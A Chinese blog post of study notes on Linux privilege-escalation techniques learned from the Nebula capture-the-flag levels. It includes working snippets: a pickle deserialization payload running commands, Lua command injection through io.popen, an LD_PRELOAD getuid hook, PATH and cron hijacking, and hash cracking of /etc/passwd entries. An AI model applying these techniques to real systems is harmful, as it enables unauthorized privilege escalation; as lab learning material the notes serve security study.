从 Exploit Exercises Nebula 中总结linux的基础漏洞和一些小知识点

第一次使用markdown进行写文章,其实如果markdown编辑器支持qq截图直接粘贴就好了(后来发现是有,但是要收费)

我觉学习了就应该有个总结,这样才会更加的牢固
Exploit Exercises Nebula level00-19 学习记录

##搜索setuid/setgid的程序
搜索一个setuid的程序,我们可以根据它的用户id,组id或者直接通过权限位来搜索(比如下面的第四个就是直接搜索setuid位的程序)
但还要注意的一点是我们可以将标准错误不输出(我们可以重定向到空的设备: 2>/dev/null

find / -uid
find / -gid
find / -perm +4000

##PATH环境变量的巧妙利用
我们执行的命令都是从PATH变量的路径中进行搜索的,比如ls的常用的命令都是在/usr/bin/目录中,但是,搜索是从左到右搜索的,假如我们在PATH变量左边加一个目录(比如tmp目录),让后我们在tmp目录放一个跟ls同名的文件,或许是脚本文件,或许是可执行文件,那么我们就劫持了ls命令,只有那个用户或者程序有权限执行我们想要的操作,那我们就可以为所欲为了

-bash-4.2$ echo $PATH
/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin

##还有就是命令执行那些事
我们可以使用的是下面这五种符号

&(让前面的命令后台运行)
&&(这就是逻辑操作,前面执行成功,后面的命令才会执行)
|(这其实就是管道符,将前面的作为输入给到后面的命令)
||(这也是逻辑操作,前面执行失败,后面才会执行)
;(这就是命令的分隔符)
还有的话就是如果是web端的命令执行可以使用%0a,这其实就是换行的ascii码

##linux定时任务
linux上cron是一个linux下的定时执行工具,假如我们知道了它定时执行某个目录中的所有文件,而不只是单单指定一个文件,而且我们对这个目录具有写权限,那我们我们就可以在这个目录中写入我们想执行的文件了

##软链接
这个类似于windows的快捷方式吧,当时挺有用的
假如一个程序具有读取某个特定文件的功能,但是程序中对读取的文件名进行了限制,而linux对文件名又是大小写敏感的,那我们怎么绕过呢,没错我们可以使用软连接

ln -s /src/secret  /dest/getit

##隐藏文件(夹)
有些管理员可能把一些重要的文件或者信息隐藏了
比如sudo密码,系统登陆密码,甚至是ssh的私钥
同时对这些目录的权限没有控制好,那就…,其实压根不应该放在服务上的这些东西
一旦我们有权限读取,那,_

##/etc/passwd
在以前的linux中,加密了的hash是放在这里的/etc/passwd,不过现在都放在/etc/shadow了,默认连root用户都没有任何权限的哦

ll /etc/shadow
---------- 1 root shadow 978 Sep 16  2016 /etc/shadow

假如遇到旧版的linux,那么我们直接拿去在线解密得了,或者自己用john爆破(直接将那一行保存到一个文件,作为john的第一个参数就可以了)

##pcap包
服务器上会不会有管理员抓的包呢,包里面会不会有什么机密的信息呢

##脚本语言的
Nebula 里面包含了挺多脚本语言的

###php
由于正则匹配使用了/e模式,preg_replace的第二个参数就会当做php代码执行

###lua
使用下面的方式对密码进行hash可导致命令执行
password后面加个;再加要执行的命令即可

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()
  data = string.sub(data, 1, 40)
  return data
end

###python
python的pickle模块的反序列化的漏洞

from cPickle import dumps
from os      import system
class Exploit(object):
    def __reduce__(self): return (system, ('getflag > /tmp/flag17',))
r = dumps(Exploit())
print r

##文件访问竞态条件漏洞
也可称作为“ TOCTOU 漏洞“——time of check,time of use
上面这个英文解释得很好,就是check和use是分开的,那我们可以使用满足条件的绕过check之后(比如说是文件),再将这个文件替换成我们要执行的文件,就可成功利用了
为什么呢,因为在多任务的操作系统,可能会进行进程切换。
一般我们搞两个循环执行的文件,一个是不断用软连接替换文件,另一个是循环执行漏洞程序

##未初始化变量
使用未初始化的变量是比较危险的,可能导致缓冲区溢出或者意想不到的结果,比如ms06-040
记得在字符串后面加结束符

##gdb等调试的用处
其实我们除了在一些特殊的情况修改了也没用之外,基本还是有用的
比如我们修改里面的函数的返回值从而控制执行流程

##LD_PRELOAD
这个可以进行HOOK,这个变量允许你定义在程序运行时优先加载的动态链接库。

level13@nebula:/tmp$ cat flag13getuid.c
int getuid(void){
        return 1000;
}
level13@nebula:gcc /tmp/flag13getuid.c -shared -fPIC -o flag13getuid.so
level13@nebula:/tmp$ cp /home/flag13/flag13 /tmp/flag13
level13@nebula:/tmp$ export LD_PRELOAD=/tmp/flag13getuid.so
level13@nebula:/tmp$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac5

##strace
可用来跟踪进程执行时的系统调用和所接收的信号
加载了哪些共享库啊,调用了什么系统函数什么的
ltrace则用来跟踪进程调用库函数的情况

跟踪的话可能有意向不到的发现,可能一开始查找的so文件不是从系统默认路径查找,那我们就可以伪造库函数了
劫持__libc_start_main

##用shell命令将字符串转化为小写

level16@nebula:/home/flag16$ a="GIANTBRANCH"
level16@nebula:/home/flag16$ echo ${a,,}
giantbranch

##资源未释放漏洞
资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放

可能会绕过一些if语句
我们可以限制句柄的个数

ulimit -n 5

##子父进程的问题

如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养它的是 init 进程,init是有root启动的

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
  pid_t pid;
  pid = fork();
  char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 将 getflag 的内容重定向到 /tmp/flag19 中
  if(pid == 0) // 如果 pid==0 ,则是子进程
  {
    execve("/home/flag19/flag19",argvs,NULL);
  }else if(pid > 0){ // 返回给父进程时,直接结束父进程,子进程就成了孤儿进程了
    exit(0);
  }
return 0;
}

##getpwuid函数
这是通过用户的uid查找用户的passwd数据根据传入的用户ID返回指向passwd的结构体,跟着可以获取用户名什么的

原文地址:https://www.cnblogs.com/cnsec/p/13286516.html